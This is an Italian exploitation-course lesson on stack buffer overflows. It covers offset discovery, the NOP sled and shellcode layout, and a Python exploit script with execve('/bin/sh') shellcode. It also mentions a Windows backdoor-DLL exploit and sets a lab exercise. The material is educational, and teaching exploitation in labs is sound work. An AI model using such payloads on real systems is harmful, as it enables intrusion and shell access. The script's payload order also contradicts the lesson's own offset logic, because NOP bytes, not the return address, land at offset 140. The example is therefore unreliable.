Lezione 2: Stack Smashing e Sfruttamento Base
Identificare l'Offset
Per sovrascrivere l'indirizzo di ritorno, bisogna conoscere la distanza tra l'inizio del buffer e la posizione del RET sullo stack. Tecniche comuni:
- Pattern generation: usare uno script (es. `msf-pattern_create`) per generare un pattern unico, crashare il programma, leggere il valore di EIP sovrascritto e calcolare l'offset con `msf-pattern_offset`.
- Tentativi empirici: inviare buffer di lunghezze crescenti (es. 100, 200, 300 byte) e osservare il crash.
NOP Sled e Shellcode Iniezione
Una volta noto l'offset, la struttura dell'input diventa:
[ NOP sled (100+ byte) ][ shellcode (40-100 byte) ][ indirizzo di ritorno (4 byte) ]
Il NOP sled (0x90 in x86) è una zona di istruzioni no-op: se il salto non è preciso, l'esecuzione "scivola" fino allo shellcode.
Indirizzo di Ritorno
Il return address punta a un indirizzo all'interno del buffer (solitamente nel NOP sled). In assenza di protezioni (NX disabilitato, ASLR off), possiamo usare qualsiasi indirizzo nello stack.
Esempio di Exploit
import struct
offset = 140
nop_sled = b"\x90" * 100
# shellcode semplice: execve("/bin/sh")
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
ret_addr = struct.pack("<I", 0xbffff2c0) # indirizzo ipotetico nello stack
payload = b"A" * offset + nop_sled + shellcode + ret_addr
print(payload)
Considerazioni su Windows
Nell'articolo di DilDog, l'exploit sfruttava le DLL di sistema (es. kernel32.dll) per caricare una DLL di backdoor. L'indirizzo di IP veniva offuscato con XOR per eludere l'analisi del traffico. Il tutto in soli 112 byte.
Esercizio
Testare l'exploit contro il binario vulnerabile della Lezione 1. Iniettare un input di 200 byte, determinare l'offset con pattern, quindi costruire un payload con NOP sled e shellcode (usare un breakpoint per verificare che EIP venga sovrascritto con l'indirizzo desiderato).